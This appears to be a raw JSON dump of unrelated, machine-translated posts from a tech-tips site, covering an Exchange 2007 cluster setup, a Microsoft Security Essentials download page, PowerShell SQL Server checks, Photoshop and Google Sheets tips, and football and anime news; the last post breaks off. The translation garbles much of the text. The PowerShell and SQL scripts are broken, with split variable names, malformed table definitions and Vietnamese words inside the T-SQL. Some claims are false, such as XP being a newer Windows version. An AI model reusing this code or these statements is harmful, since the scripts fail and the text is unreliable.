Mailbox Role before installing\nThe Exchange Server 2007 Installation Wizard will copy the necessary Exchange files, install and configure the Mailbox Role, and eventually create and configure the clustered mailbox server resources internally and create objects in Active Directory. When each step is completed, uncheck Exit Setup and open Exchange System Manager then click Finish . We do not want to open Exchange Management Console at this time, so we will install Exchange on the second node first. Install the Passive Clustered Mailbox Role on E2K7Node2 \n Log into E2K7Node2 with the domain administrator account and do the exact same steps as you did when installing on E2K7Node1 . The only difference is that you should choose Passive Clustered Mailbox Role instead of Active Clustered Mailbox Role as shown in Figure 44 below.\n  Figure 44: Clustered mailbox role passive installation on the second node\nVerify the function of CCR on Mailbox Server \n Now we're going to verify whether the Exchange 2007 clustered mailbox server works as expected. First open the Cluster Administrator and add the corresponding Exchange Resources . If you look at a bit in Figure 45 below, it will be much better, we have both buttons listed in the left pane with all Exchange resources created and currently owned by E2K7Node2 .\n  Figure 45: List all Exchange group resources in Cluster Administrator\nTry opening the Exchange Management Shell by clicking Start \u0026gt; All Programs \u0026gt; Microsoft Exchange Server 2007 \u0026gt; Exchange Management Shell on one of the buttons, then typing Get-ClusteredMailboxServerStatus –Identity E2K7CCR . As you can see in Figure 46 below, the grouped mailbox server's status is Online, and E2K7Node2 is currently in active status.\n  Figure 46: Requesting the online status of the clustered mailbox server\nNow let us verify if the mailbox server is online, move the Exchange resources from node one to node two using the Move-ClusteredMailboxServer CMDlet. In the test environment used in this article, we do so using the CMDlet below:\nMove-ClusteredMailboxServer -Identity: E2K7CCR -TargetMachine: E2K7Node1 -MoveComment: \"This is a test!\"\nYou will then be asked to confirm this action, type Yes and then press Enter . Then the clustered mailbox resources will be moved to the first node.\n  Figure 47: Transfer clustered mailbox resources into the first node\nNote : Although it is possible to switch group resource groups between nodes using the Cluster Administrator interface, you should do so using the Move-ClusteredMailboxServer CMDlet because the Move Group task in the Cluster Administrator management interface does not understand anything about Exchange 2007. Let's take a look at the clustered mailbox server in the Exchange Management Console. To do so, click Start \u0026gt; All Programs \u0026gt; Microsoft Exchange Server 2007 \u0026gt; Exchange Management Console , then select Server Configuration \u0026gt; Mailbox . Note that the clustered mailbox server named E2K7CCR will be listed in the results pane and it will be considered a cluster server.\n  Figure 48: Viewing the clustered mailbox server in the Exchange Management Console\nLet's look at the file that records the conversion record from one node to the other. The easiest way to do that is to create a log file by sending some test messages with one or two attachments.\nNote : Because the size of the conversion log file in Exchange Server 2007 is 1MB instead of 5MB already in previous Exchange versions, you cannot attach files larger than 1MB to create the log file. As you can see in Figure 49 below, the log files here are reviewed in E2K7Node2 around the time they were created on E2K7Node1 .\n  Figure 49: Review the log file\nSimulate a failover from E2K7Node1 to E2K7Node2 Let's simulate a failover from E2K7Node1 (currently active) to E2K7Node2 , so we can see what happens from the Outlook client perspective. To move from one node to another we will put in the CMDlet below, CMDlet is also used in the upper part of this article:\nMove-ClusteredMailboxServer -Identity: E2K7CCR -TargetMachine: E2K7Node2 -MoveComment: \"This is a test!\"\nWhen manual transfer or a failover occurs, the bulge shown in Figure 50 will appear when all services need to be stopped on the E2K7Node1 node before they are activated online on E2K7Node2 .\n  Figure 50: Connection to Exchange Server has been lost\nDepending on the quantity and size of the database in the Cluster Continuous Replication setup, it will take about 10s to 1 minute, this will not cause discomfort to the user. When E2K7Node2 is resumed (passed), the user will receive a message that the connection to Exchange Server has been restored (Figure 51).\n  Figure 51: Connection to the restored Exchange Server\nConclude \n There are many advantages to installing the Exchange 2007 Mailbox Server role in the Cluster Continuous Replication setup in your environment. The main reason here is that you will have a failover point with the Mailbox / Public Folder database. When each database on a node has a problem, the possibility of failover will automatically make the switch to another node also has a secondary database. This means that you do not need to use shared storage in CCR settings, as Exchange 2007 Single Copy Clusters as well as cluster setup in previous versions of Exchange. Adding two nodes in the CCR setup can be placed in two other locations as long as they are in the same subnet. Not only that, the installation of the Exchange 2007 cluster is much simpler than in previous versions. CCR setup is changing the use of log files and reviewing the secondary database, you do not need to perform full online backup as in previous versions.\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F05qjpaGenHqku82foKCtop67qHnAp5tmrJWowaq6xmacsZuYlruosYxrZ2lvXZiws3nOp2SmmZmhr7DEjKycq66Vp3qxrdGtZGw%3D\n","link":"/post/installing-configuring-and-testing-exchange-2007-ccr-on-mailbox-server-part-3/","section":"post","tags":null,"title":"Installing, configuring, and testing Exchange 2007 CCR on Mailbox Server (Part 3)"},{"body":"Serie A, also known as Seria A TIM do sponsored by TIM, is the highest professional league club level in the Italian football league system. This tournament has been in operation for more than eighty years since the first season 1929-1930.\nThe Series A tournament is ranked as one of the best, most attractive football tournaments in the world. And often described as the most tactical national championship tournament. The Serie A is behind La Liga and the Premier League by UEFA's Elo coefficient.\nPartly also based on the performance of Italian clubs in the UEFA Champions League and Europa League in the last 5 years. Serie A led the UEFA ranking in 1986 - 1988 and 1990 - 1999 with names like Juventus, AC Milan .\nHere are the latest Italian Serie A rankings, in this Italian football rankings you can know the indicators such as match numbers, number of wins, number of draws, number of losses .\nSopcast Link, Ace stream watching live football How to use Onme to watch television, movies, football How to watch live football on Android with Ace Stream Latest Italian football rankings   With the Italian football league above, the results in the matches of the clubs will be updated quickly for you to follow. If you often watch football on your phone, you can use ACE Stream to watch live football on your computer, see the instructions in the article How to watch live football with Ace Stream.\nncG1vNJzZmismaXArq3KnmWcp51ktrWty7KqZquVp7amecBmqZqmm567qHnToZxmpJGpsrTAjKKrmqSZlrtuusCtoKimkaF6p7vOrZmapJxiuaatxq6cZquklrultc2gqg%3D%3D\n","link":"/post/italy-s-serie-a-ranking-the-latest-italian-national-football-league-standings/","section":"post","tags":null,"title":"Italy's Serie A ranking, the latest Italian National Football League standings"},{"body":" Free software Version: 4.10.0209.0 Update date: March 24, 2020 Platform: Windows Download Microsoft Security Essentials 4.10.0209.0 here.\nMicrosoft Security Essentials protects Windows PCs from the latest malware attacks. Microsoft Security Essentials is a free antivirus program specially designed for Windows systems.\nIf you have Microsoft Essentials, it will run silently in the background and protect you against all types of attacks coming from malware, including viruses, Trojan horses, spyware, etc. threat or problem is detected, MSE will automatically block it and alert the user.\n Microsoft Essentials silently protects you from all types of malware attacks\nFeatures of Microsoft Security Essentials Real-time protection against sophisticated malware attacks on your system Choosing the right antivirus program for your computer can be a daunting task. You need a balance between the size of the software and how it will affect the speed of your computer, then the price and the level of protection it offers. From supermarket deliveries to online banking, people are now disclosing a lot of their personal and financial information online.\nMicrosoft Security Essentials is a mid-range antivirus program that you can install for your Windows operating system for free. It receives signature updates to protect your PC against the latest types of malware. These signature updates are stored in the program to aid it against increasingly sophisticated system attacks.\nWhat are the best features of Microsoft Security Essentials? Microsoft Essentials 64-bit is an anti-virus program designed for the operating systems Windows 7 and Windows 10. It is very simple to navigate, run automatically in the background, perform checks, prevent attacks. Malware, flag suspicious websites, and completely free. The protection provided is basic compared to cloud-based antivirus programs.\nThe advantage of system integration software like MSE is that it is less resource intensive and the scan can be faster. If you let it run on a slower operating system, like Windows 10, then it can complement the system's capabilities. Simply put, it does exactly what you expect.\nCan you run MSE on any Windows computer? As of January 14, 2020, Microsoft has discontinued new Microsoft Security Essentials downloads. If you already run this program on your system, you will continue to receive signature updates until 2023. So if you want an anti-virus protection plan is being invested and improved. You should be looking for another better option.\nDo you need Microsoft Security Essentials with Windows Defender? The short answer is no. If you have a Windows PC on an older operating system like Windows 7, then a free download of Microsoft Essentials will ensure you have real-time online security. Later Windows operating systems including Windows 8.1 and Windows 10 already have Windows Defender to manage system security. Do not run multiple antivirus programs at the same time - it will slow down your system and they can make each other less efficient.\nIs Microsoft Security Essentials the best antivirus for you? To a certain extent, protection against malware (and there are some antivirus solutions) is a personal choice based on budget, protection options, and system requirements. For Windows users, there are more sophisticated anti-malware protection programs, like Bitdefender, Norton Antivirus and McAfee. Bitdefender is a feature-packed antivirus program that will filter malware from all Internet browsers, protect your financial security during online banking, manage passwords, and more. . Protection level depends on the price level you choose.\nKaspersky is another favorite - and for good reason. This is a lightweight and fast antivirus option that ensures online security for a reasonable fee. Another highly regarded solution is Norton. The latest Norton anti-virus suite also gives you 25GB of cloud storage and backups of your data and personal files. Norton is also a favorite for many families as it includes parental protection for kids browsing the Internet.\nAll 3 of these antivirus programs provide better protection against the newest and most sophisticated malware attacks, benefiting from cloud technology. Alternatively, choosing a solution with other perks like cloud storage and data backup is a handy two-in-one solution. Taking full advantage of all of their features, however, comes at a price.\nIf you are looking for a free antivirus, notable platforms include Avira, AVG or Avast. Avira scores well on antivirus tests, even on the free version. You can adjust the configuration settings depending on the level of system scan you want to run.\nThe paid version also comes with a virtual private network (VPN). AVG is a great free antivirus and one of Windows' favorites. Even the free version is resource-rich and offers an impressive anti-virus database, doesn't waste a lot of system resources, and the console is navigable to run the scan.\nWhat do you need to run Microsoft Security Essentials? To be able to run Microsoft Security Essentials, you will need 200MB of free hard drive space and 1GB of RAM or more.\nOther system requirements are a VGA display of 800 x 600 or higher and a CPU clock speed of GHz or higher. Finally, keep in mind that the MSE antivirus is a program that is only available for certain operating systems, specifically Windows 7 and Windows Vista.\nIs it worth keeping Microsoft Security Essentials? Anti-virus programs come in all types, sizes and prices. Microsoft Security Essentials is an affordable choice for certain users. This program is currently removed by Microsoft and replaced with Windows Defender. It doesn't include some of the extra features you'll find in alternative antivirus programs, like free VPNs, cloud storage, or password storage.\nHowever, in return, what you get is a lightweight and fast program that works in the background and silently protects your Windows PC against viruses, phishing attacks, and spyware. Trojan horse. Newer Windows versions including XP, Windows 8 and Windows 8.1 will have Windows Defender built into the system. For slower Windows operating systems, this basic antivirus program is more than enough and will not slow down the system. Best of all, it's completely free.\nAdvantages\nFree Compact Fast Defect\nStop out of newer systems No more signature updates after 2023 Microsoft Security Essentials ncG1vNJzZmismaXArq3KnmWcp51kuaq6ymarqGWUpMSvuM6am2almZi%2FsL%2FOn6tmq5WYwrO107Jknqujmru1tcClqmZsYWV9c3yYaQ%3D%3D\n","link":"/post/link-to-download-microsoft-security-essentials-4-10-0209-0/","section":"post","tags":null,"title":"Link to download Microsoft Security Essentials 4.10.0209.0"},{"body":"This group of people will have to perform a variety of tasks, from digging to producing oxygen, just to survive until another day and hopefully appear on the surface of the planet.\n  The base game has several research trees, connection features, and a variety of buildings. With many advanced content such as filtering polluted water, overheating, carbon dioxide filtering,. new players can easily get overwhelmed. In this article, learn tips for surviving the harsh environment of Oxygen Not Included.\nFirst things to do in Oxygen Not Included All players begin by being teleported deep inside a large asteroid. People will notice surface options, material data, and things that can be interacted with. However, don't pay any attention to any of that. Instead, locate the nearest body of water and start digging toward it.\nWhen accessing a water source, set up a water pump to benefit from it. Water is considered one of the most important resources of the game and gamers need to start collecting as quickly as possible.\n  While water usage will increase as you progress in the game, beginner players will primarily use water to grow plants and complete advanced research.\nImmediately after accessing the water source, start building the toilet area. Characters need a place to cool off, and if players don't create a place to do so within the first few days, chances are they'll get themselves wet.\n  This can expose the group to a lot of bacteria, hypothermia, and wasted cleaning time. So just prepare a restroom area first. If you want to move it later, you can destroy the buildings and rebuild it in a new location.\nPay attention to hygiene in the game Hygiene is really important in this game. If this area grows too much bacteria, it can cause the characters to get many diseases such as slimelung fungus or food poisoning, which comes with various bacteria.\nTo prevent this, the player needs to place pharmacies everywhere. Ideally, these pharmacies should be located right in front of major pathogen hubs such as restrooms, contaminated water dumps, food preparation areas.\n  Of particular note is the swamp biome, this area filled with slime and algae, becoming one of the most unsanitary. But more importantly, it harbors a highly infectious slimelung pathogen that quickly spreads through many areas and reduces yields.\nAlways exercise caution when building near a swamp biome, and make sure to take some hygiene measures against any characters that may approach it. Let's build some medical buildings nearby and use manual airlocks. It is best for players to avoid this biome completely until exits are discovered.\n  Oxygen Not Included ncG1vNJzZmismaXArq3KnmWcp51kvLnFxp6lZqafqXqqusKlrJ2dlGLBqrzSZp2oql2Xsqi1zaecq6s%3D\n","link":"/post/oxygen-not-included-tips-for-beginners/","section":"post","tags":null,"title":"Oxygen Not Included tips for beginners"},{"body":"Apple sent an invitation to the event that will launch the new iPad Pro and MacBook on October 30 at the Howard Gilman Theater in Brooklyn, New York. But it seems that this year's Apple event invitation is very special, each with a different logo attached.\nHere are the stylized logos, colorful and fancy visual effects designed by Apple to attach to the invitation for their 30/10 event, so please admire.\n                                                     See more:\nMost identify wrong Apple logo. Why? \"Explore\" design details on the Google logo Professional logo design software Unique font incorporating famous corporate logos, inviting experience ncG1vNJzZmismaXArq3KnmWcp51kva2xwKycZpmUorazsYytn55lo6nGrbXZnptmpJ%2BcvLR506GYrWWRpb2tsYysnKesXZ67bsDHnmSipqaewaLAyKilZp6fp3q1tMRmppysn5eys3mSaWSerpWjwQ%3D%3D\n","link":"/post/please-admire-the-stylized-logos-that-apple-sent-in-the-invitation-for-the-october-30-event/","section":"post","tags":null,"title":"Please admire the stylized logos that Apple sent in the invitation for the October 30 event"},{"body":"One Piece is a name that has made a big splash in the manga world not only in Japan but also in many parts of the world including Vietnam. And if you are a big fan of One Piece, you definitely should not miss the movie One Piece: Stampede which will be released in the near future in Vietnam. In 2019 mangaka Eiichiro Oda continued to work with the manufacturer to produce the One Piece Stamped film, the 14th film in the One Piece series directed by Miyamoto Hiroaki.\nThe film was released and premiered in Japan and earned a huge number of achievements, boasting a respectable 354,052 for the first day of release in 8/2019. This shows how much One Piece Stampede is expected, and the film also responds to the fans' trust with extremely thorough and elaborate investment. The film has been shown in 12 countries and will soon stop here in Vietnam. So when is the show time for One Piece Stampede?\nLuffy wallpaper for computer Please download more than 80 Zoro One Piece wallpapers on your computer Set of high quality Anime wallpapers for computers Download the Frozen wallpaper for computer, phone One Piece Stampede showtimes in Vietnam According to the latest information from the CGV theater complex, the film is expected to release on January 3, 2020 . CGV is known for quickly updating movie theaters, especially for hit movies like One Piece Stampede.\n  One Piece Stampede will be set against the Pirate Festival event from the organizer Buena Festa. Captain Luffy and the Straw Hat crew will attend this event at the invitation. The event is the gathering place for hundreds, thousands of Pirates to attend to find the missing treasure of the former Pirate King Gol.D Roger. But hidden behind this event is the plot of a dark force to destroy the world with the presence of the monster Douglas Bullet, with the nickname Descendant of the Devil. Along with that, the Marines also secretly joined in the purpose of wiping out the entire Pirates.\n  Many moviegoers in many countries have released the remarks, One Piece Stampede brings together the largest actors ever, about 200 characters such as Pirates, Navy, Wang Xiaoyu, and Revolutionary Army. , CP-0, . bring about a great battle of fire.\nIn addition to the One Piece Stampede launch, on December 20, 2019, the One Piece: Stampede novel series is expected to be released to the audience.\n  Currently the schedule of One Piece Stampede and new cinema officially from CGV, other cinema complexes will be updated by Network Administrator in the near future. Let's look forward to the latest information.\nVideo trailer for the One Piece Stampede moviencG1vNJzZmismaXArq3KnmWcp51kwKaxjLCfnqqVYra0ec6nnGaomZqwpnnSrZimqJWZsm7Dx56lZqGjYsGpsYysmqGdlKq5pg%3D%3D\n","link":"/post/see-where-is-one-piece-stampede-when-is-the-schedule/","section":"post","tags":null,"title":"See where is One Piece Stampede, when is the schedule?"},{"body":"Using keyboard shortcuts will make your operation much faster, compared to using traditional mouse. For example, keyboard shortcuts for handling Word documents, or shortening your work with shortcuts when working with Excel. So is YouTube. Youtube is the most used video search channel worldwide. But there are quite a few people who know and use keyboard shortcuts while watching Youtube videos.\n7 ways to download videos on Youtube quickly and simply How to play live video on YouTube?\n In this article, Network Administrator will summarize you reading convenient shortcuts on YouTube. Compared to interacting with video through the mouse cursor, these shortcuts will help you to work faster.\n1. Common shortcuts on Youtube: These shortcuts will be used while you watch videos, replay videos or adjust the volume, playlists while watching videos:\nSpace (Space) or K Play / stop (Play / Pause) Shift +. (\u0026gt;) Increase the video playback speed Shift +, (Some shortcuts - hotkey is often used when watching YouTube 2. Use Tab key on Youtube: The Tab tab on YouTube has the function of navigating features on the video player without having to use the mouse to perform it. Press Tab to switch functions on Youtube. Corresponding to each key press Tab will have the following functions:\nWatch Later : Add videos and playlists later. Seek Bar : Press any number from 1 to 9 to skip parts of the video. Play or Pause video is playing. Volume Control : Change the sound volume, press the up / down arrow keys to increase or decrease the volume. Change Quality : Change the video image quality.Press Enter or Space to select the function, then press Tab again to select the quality. Large Player : Increase the video player size. Small Player : Player small size video player. The above is an article that summarizes shortcuts when we watch videos on YouTube.Please post this article for more YouTube experience, as well as faster operation when using.\nRefer to the following articles: Fix Flash errors when watching videos on YouTube How to watch blocked YouTube videos or restrict viewers without signing in or proxying How to download the entire Video Playlist on Youtube I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51kwLa5zJqpsmWfm3qwrtKcrKudXai1sL7TnKytq12ku27Fzq6rrpqV\n","link":"/post/summary-of-obscure-shortcuts-on-youtube/","section":"post","tags":null,"title":"Summary of obscure shortcuts on Youtube"},{"body":"  Test SQL Server with Windows PowerShell - Part 1  Test SQL Server with Windows PowerShell - Part 2  Test SQL Server with Windows PowerShell - Part 3  Test SQL Server with Windows PowerShell - Part 4\nMuthusamy\nNetwork Administration - Part 1 of this series introduced the first check on SQL Server - ping a host. Part 2 is an introduction to how to check all Windows services related to SQL Server, part 3 is how to check hardware and software information, part 4 is an introduction to collecting information. about network card and hard drive from server. In this part 5, we will check whether we can connect to SQL Server and see if we can query some properties related to SQL Server.\nStep 1\nType or copy and paste the following code into C: CheckSQLServerCheckinstance.ps1 file.\nfunction checkinstance (\n[string] $ servername ) { $ SqlConnection = New-Object System.Data.SqlClient.SqlConnection $ SqlCmd = New-Object System.Data.SqlClient.SqlCommand $ SqlAdapter = New-Object System.Data.SqlClient.SqlDataAdapter $ DataSet = New-Object System.Data.DataSet $ SqlConnection.ConnectionString = \"Server = $ servername; Database = master; Integrated Security = True\" $ SqlCmd.CommandText = \" create table #serverproperty (varchar (100) property, value varchar (100)) insert into #serverproperty values ('MachineName', convert (varchar (100), SERVERPROPERTY ('Machinename')))) insert into #serverproperty values ('Servername', convert (varchar (100), SERVERPROPERTY ('ServerName')))) insert into #serverproperty values ('InstanceName', convert (varchar (100), SERVERPROPERTY ('ServerName')))) insert into #serverproperty values ('Edition', convert (varchar (100), SERVERPROPERTY ('Edition'))) insert into #serverproperty values ('EngineEdition', convert (varchar (100), SERVERPROPERTY ('EngineEdition')))) insert into #serverproperty values ('BuildClrVersion', convert (varchar (100), SERVERPROPERTY ('Buildclrversion')))) insert into #serverproperty values ('Collation', convert (varchar (100), SERVERPROPERTY ('Collation'))) insert into #serverproperty values ('ProductLevel', convert (varchar (100), SERVERPROPERTY ('ProductLevel')))) insert into #serverproperty values ('IsClustered', convert (varchar (100), SERVERPROPERTY ('IsClustered'))) insert into #serverproperty values ('IsFullTextInstalled', convert (varchar (100), SERVERPROPERTY ('IsFullTextInstalled')))) insert into #serverproperty values ('IsSingleuser', convert (varchar (100), SERVERPROPERTY ('IsSingleUser')))) đặt nocount trên select * from #serverproperty drop table #serverproperty \" $ SqlCmd.Connection = $ SqlConnection $ SqlAdapter.SelectCommand = $ SqlCmd $ SqlAdapter.Fill ($ DataSet) $ DataSet.Tables [0] $ SqlConnection.Close () }\nStep 2\nType or copy and paste the following code into the file C: CheckSQLServerCheckconfiguration.ps1.\nfunction checkconfiguration (\n[string] $ servername ) { $ SqlConnection = New-Object System.Data.SqlClient.SqlConnection $ SqlCmd = New-Object System.Data.SqlClient.SqlCommand $ SqlAdapter = New-Object System.Data.SqlClient.SqlDataAdapter $ DataSet = New-Object System.Data.DataSet $ SqlConnection.ConnectionString = \"Server = $ servername; Database = master; Integrated Security = True\" $ SqlCmd.CommandText = \" exec master.dbo.sp_configure 'show advanced options', 1 reconfigure \" $ SqlCmd.Connection = $ SqlConnection $ SqlAdapter.SelectCommand = $ SqlCmd $ SqlAdapter.Fill ($ DataSet) $ SqlCmd.CommandText = \" đặt nocount trên create #config table (varchar (100) name, bigint minimum, maximum bigint, config_value bigint, run_value bigint) insert #config exec ('master.dbo.sp_configure') đặt nocount trên select * from #config as mytable #config drop table \" $ SqlCmd.Connection = $ SqlConnection $ SqlAdapter.SelectCommand = $ SqlCmd $ SqlAdapter.Fill ($ DataSet) $ SqlConnection.Close () $ DataSet.Tables [0] .rows }\nStep 3\nAttach to the file C: CheckSQLServerCheckSQL_Lib.ps1 the following code.\n../checkinstance.ps1\n../checkconfiguration.ps1\nNow file C: CheckSQLServerCheckSQL_Lib.ps1 has pinghost, checkservices, checkhardware, checkOS, checkHD, checknet, checkinstance and Checkconfiguration as shown below.\n#Source all the relate to functions CheckSQL\n. ./PingHost.ps1 . ./checkservices.ps1 . ./checkhardware.ps1 . ./checkOS.ps1 . ./checkHD.ps1 . ./checknet.ps1 . ./checkinstance.ps1 ../checkconfiguration.ps1\nNote: This CheckSQL_Lib.ps1 file will be updated with the source from the new script file, such as checkinstance.ps1 and checkconfiguration.ps1\nStep 4\nAppend to the file C: CheckSQLServerCheckSQLServer.ps1 the following code.\nWrite-host \"Checking Instance property Information .\"\nWrite-host \".....\" checkinstance $ instancename Write-host \"Checking Configuration information .\" Write-host \".......\" checkconfiguration $ instancename\nNow the file will have both checkinstance and checkconfiguration scenarios as shown below. We have added some write-host commands to display the entire process. You should also keep in mind that we have added $ instancename as an additional parameter to the checksqlserver script.\n#Objective: To check various status of SQL Server\n#Host, instances and databases. #Author: MAK #Date Written: June 5, 2008 param ( [string] $ Hostname, [string] $ instancename ) $ global: errorvar = 0 . ./CheckSQL_Lib.ps1 Write-host \"Checking SQL Server .\" Write-host \"....\" \"Write-host\" Write-host \"Arguments accepted: $ Hostname\" write-host \"....\" Write-host \"Pinging the host machine\" write-host \"....\" pinghost $ Hostname if ($ global: errorvar -ne \"host not reachable\") { Write-host \"Check windows services on the host related to SQL Server\" write-host \"........ ... \" checkservices $ Hostname Write-host \"Checking hardware Information .\" Write-host \"......\" checkhardware $ Hostname Write-host \"Checking OS Information .\" Write-host \".....\" checkOS $ Hostname Write-host \"Checking HDD Information .\" Write-host \".....\" checkHD $ Hostname Write-host \"Checking Network Adapter Information .\" Write-host \".......\" checknet $ Hostname Write-host \"Checking Configuration information .\" Write-host \".......\" checkconfiguration $ instancename | format-table Write-host \"Checking Instance property Information .\" Write-host \".....\" checkinstance $ instancename | format-table }\nNote: This CheckSQLServer.ps1 file will be updated with new conditions and new parameters in later sections of the series.\nLoading basically loads the functions listed in the scripts and makes it available during the entire PowerShell session. In this case, we source a scenario, which is sourced from many other scenarios.\nStep 5\nNow let's execute the script, CheckSQLServer.ps1, by passing 'PowerServer3' host as an argument as shown below.\n./CheckSQLServer.ps1 PowerServer3 PowerServer3SQL2008\nWe will see results as shown below (Figure 1.0).\n.\n. . two digit year cutoff 1753 9999 2049 user connections 0 32767 0 user options 0 32767 0 xp_cmdshell 0 1 0 Checking Instance property Information . ..... 11 value property -------- ----- MachineName POWERSERVER3 Servername POWERSERVER3SQL2008 InstanceName POWERSERVER3SQL2008 Edition Enterprise Evaluation Edition EngineEdition 3 BuildClrVersion v2.0.50727 Collation SQL_Latin1_General_CP1_CI_AS ProductLevel RTM IsClustered 0 IsFullTextInstalled 1 IsSingleuser 0 . .   Figure 1.0\n  Figure 1.1\nStep 6\nNow let's execute the script on the machine that doesn't exist as shown below.\n./CheckSQLServer.ps1 TestMachine\nThe results will be as below (refer to Figure 1.3)\nResult\nChecking SQL Server .\n.... Arguments accepted: TestMachine .... Pinging the host machine .... TestMachine is NOT reachable   Figure 1.3\nConclude\nPart 5 of this series showed you how to access SQL Server instance attributes and its configuration details using Windows PowerShell.\nDownload the script for this article.\nncG1vNJzZmismaXArq3KnmWcp51kwaa%2F02aqqqRdqLKzwsSrZLChpJ16uLXNnaawq12lvLix0ayfnqScYr2ivtNmbA%3D%3D\n","link":"/post/test-sql-server-with-windows-powershell/","section":"post","tags":null,"title":"Test SQL Server with Windows PowerShell"},{"body":"In the article below, TipsMake.com will guide you how to turn the photo into a painting, so that it resembles the animated film, or is it Cartoon. For portraits, this is quite interesting, as a result you will have a very lively, attractive and attractive image. The operations in the lesson are done by Adobe Photoshop software.\n1. Steps to perform \"cartoon\" to turn the photo: First, we will need a portrait photo (of course!) With high resolution. As in this example, I used a picture taken with Lumia 920, size 3552 x 2000:\n  Using the Crop tool, cut off the main part of the image, which is all the portraits, the baby's face, and the rest of the image. Applying additional modes to automatically balance color, contrast . at will to bring a natural look to the photo:\n  Ctrl + Shift + L = Auto Tone Ctrl + Shift + B = Auto Color Ctrl + Shift + Alt + L = Auto Contrast See more: Summary of shortcuts in Adobe Photoshop Next, Duplicate that Background . Right-click on the Background Layer and choose Duplicate Layer :\n  Whatever you do, make sure you Duplicate Layer to avoid mistakenly manipulating the original Layer\nApply Filter Blur, change Radius and Threshold values ​​depending on the photo:\n  This will help reduce wrinkles on the image, or say how to smooth the skin, which will be easier in the next steps. Continue, press Ctrl + L to change Contrast = contrast value, how to look like an animated picture:\n  Change the corresponding value: 26 - 1.3 - 240\nThrough some basic steps as above, we have seen the picture has changes in skin, smoothness . but there are still some rough, hard details in it. Continue to redo or change the parameters as above until you feel satisfied, stop, go to the step below. Please Duplicate Layer just apply the Filter (not the original Layer), we will have the next layer as shown below:\n  On that Duplicate medium, apply Filter\u0026gt; Sketch\u0026gt; Photocopy (for old Adobe Photoshop versions), and for newer versions go to Filter\u0026gt; Filter Gallery\u0026gt; Sketch (for those using GIMP that apply Photoshop filter is in Filters\u0026gt; Artistic\u0026gt; Photocopy ):\n  If your photo looks strange and unintended, you can change the color mode to black and white by pressing the D button and applying that Filter Sketch again. Check the result:\n  Temporarily like this, switch the Layer mode on top from Normal to Multiply :\n  After changing the Layer mode to Multiply, the image will look like this:\n  It looks good, right? But still not honest, lively, sharp. Select the middle layer, then apply Filter\u0026gt; Artistic\u0026gt; Cutout :\n  Then review the result as well or not. If not, please change the values, Filter parameters in the above steps and continue applying, until you feel OK, stop. So with just a few basic operations, TipsMake.com has guided you how to \"turn\" photos, portrait photos into drawings, animated with Cartoon effects.\nGood luck!\nncG1vNJzZmismaXArq3KnmWcp51kwbOtzaydqKqdYq5uvMicq66qlWK2r8DOZpinZZGjtq6t056bZqiZmMG2vsRmpqtloJ6wtcHRnmSuq5mjtG6tw6iZnmWgnby1u9Khpqk%3D\n","link":"/post/transform-a-picture-into-an-animated-picture-or-picture-using-adobe-photoshop/","section":"post","tags":null,"title":"'Transform' a picture into an animated picture or picture using Adobe Photoshop"},{"body":"In recent times, Google Docs is becoming an alternative to Microsoft Office.The first reason is the Google document set that allows writing documents, presentations and spreadsheets directly on the web for free.However, in personal and business daily activities, many people seek additional features to expand the capabilities of Google Docs, and more notably Google Sheets.In this article, I will show you 10 interesting tips and tricks in Google Spreadsheet and you will be surprised about them.\n1. Jaw strength = IMAGE   In fact, you can add images from uploaded files in Google Sheets. However, to make it faster, you should use the function = image (\"url\") , the URL is the image link from the website. This is a function that is not complicated and saves time.\n2. Use Templates   You can use Templates in Microsoft Office, and so are Google Sheets. There are a lot of options and this is a great thing to get unique text in Google Docs and especially in Google Sheets. All you have to do is click \"Create New\" from \"From Template\" and use it.\n3. From Cloud to hardware   Saving documents on Cloud can be a great way to access documents when offline but not the best. If you want to save the document on Google Docs as a file, this is a useful tip for you. Select the document you want to backup. Select \"Download\" under \"Actions\" , so you have the file you want with the .zip file format. Note the file limit is 2GB.\n4. List of shortcuts   Shortcuts are the best way to work quickly. Press Command + \"/\" (in Mac) or \"Ctrl\" + \"/\" (for Windows), shortcuts will show up and you can use them to complete the job in a snap.\n5. Full screen   You are often distracted by things around. When working in a collective environment, you will often be confused by distraction. In addition, there are troubles appearing on the computer screen. Google Docs will help you solve this problem. Under the \"View\" bar, select \"Full Screen\" and now, you can rest assured to focus on creating great spreadsheets on Google Sheets.\n6. Conditional formatting   Conditional formatting is an important feature in spreadsheet programs, and not except Google Sheets. Today, we will focus on setting conditional formatting to color the cells in the document. Because the conditional formatting is used for large spreadsheets, use a coloring tool to help you view large amounts of data easily to handle it.\nIf you are inventorying and want to see the products as a set number, you need to check the boxes and click the arrow to the first right of the column and select \"conditional formatting\" . A new window will appear, you can set the parameters and select the color corresponding to each parameter, then \"save rules\" .\n7. Related words   If you are like me, you will use many mind maps to create and edit at that time. With Google Sheets, you will get rid of that case. Use Google Labs settings like Google Sets, simply type two related words in the box. Then, select the entire box while selecting \"option\" in Mac or \"Ctrl\" on Windows. Related words begin to appear.\n8. Add currency   You work financially or simply need to create a spreadsheet with some kind of money, this is the tip for you. If you need to enter other non-dollar currencies simply highlight the boxes, select the \"123\" button on the toolbar and select \"More Currencies \". Click on the currency you want and that's it.\n9. Insert Google Sheets into Docs   You are a Google Docs user, so you have tried to turn your text documents into Google Sheets and vice versa. To do this easily. With Charts in Google Chrome store, you can insert Google Sheets chart into Google Docs by opening the \"Charts\" utility in the expanded menu, selecting \"Load Data\" , clicking and selecting the data you need to use \"Insert \" .\n10. Gather information more easily   If you are conducting a project or survey to gather information into a spreadsheet, Google Forms is what you are looking for. You can easily share and can even upload to the website by \"Forms\" then \"Create a Form \". From there, individuals fill in their answers there and when completing the survey, the results will be added to the top of the worksheet you are using.\nI hope, you can apply the tips and tricks learned today to work and have great spreadsheets.\nncG1vNJzZmismaXArq3KnmWcp51kfnF506KnrGWRo7FuwNGimqSrXZ67brPOqJ6lnV2ovbOxwJ2qoZ2VqQ%3D%3D\n","link":"/post/10-tips-and-tricks-in-google-spreadsheet/","section":"post","tags":null,"title":"10 tips and tricks in Google Spreadsheet"},{"body":"Are you a person with 6th sense? Are you good at finding clues and solving all the puzzles? Test your wits with a series of puzzles based on the heroine's exciting story in the quiz game Girl Genius today.\nThe difficulty of the puzzle increases as you advance into the game. Therefore, surely in many cases you have to give up before a difficult puzzle. That is when you need the answer game Girl Genius. Luckily, you don't have to search far as I have compiled and shared it for you in this article.\n1. Introducing the Girl Genius puzzle game Girl Genius is a puzzle game that revolves around the story of a girl who seems to always have bad luck in her life, from being cheated on by her lover 